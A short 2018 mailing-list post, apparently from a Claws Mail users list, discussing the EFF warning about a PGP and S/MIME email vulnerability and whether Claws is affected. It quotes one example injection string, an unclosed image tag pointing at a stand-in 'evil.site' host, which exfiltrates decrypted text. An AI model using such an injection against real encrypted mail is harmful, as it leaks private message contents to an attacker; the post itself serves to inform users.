[Users] FYI: PGP-encrypted email Warning

Steffen Klemer moh at gmx.org
Mon May 14 14:25:36 CEST 2018

Am Mo, 14.05.2018 um 02:34 schrieb Charles A Edwards <cae at eslrahc.com>:

> https://www.eff.org/deeplinks/2018/05/attention-pgp-users-new-vulnerabilities-require-you-take-action-now

The corresponding paper got out:

It's mostly about the possibility to change clear text of PGP and S/MIME
mails. The way the scientists use this is by injecting a string like

<img src="http://evil.site/what-follows-is-secret/

Claws doesn't usually load images from html mails -- especially not
without an html plugin. But nevertheless it should be affected by the
underlying problem itself.


 ()  ascii ribbon campaign - against html e-mail 
 /\                        - against proprietary attachments

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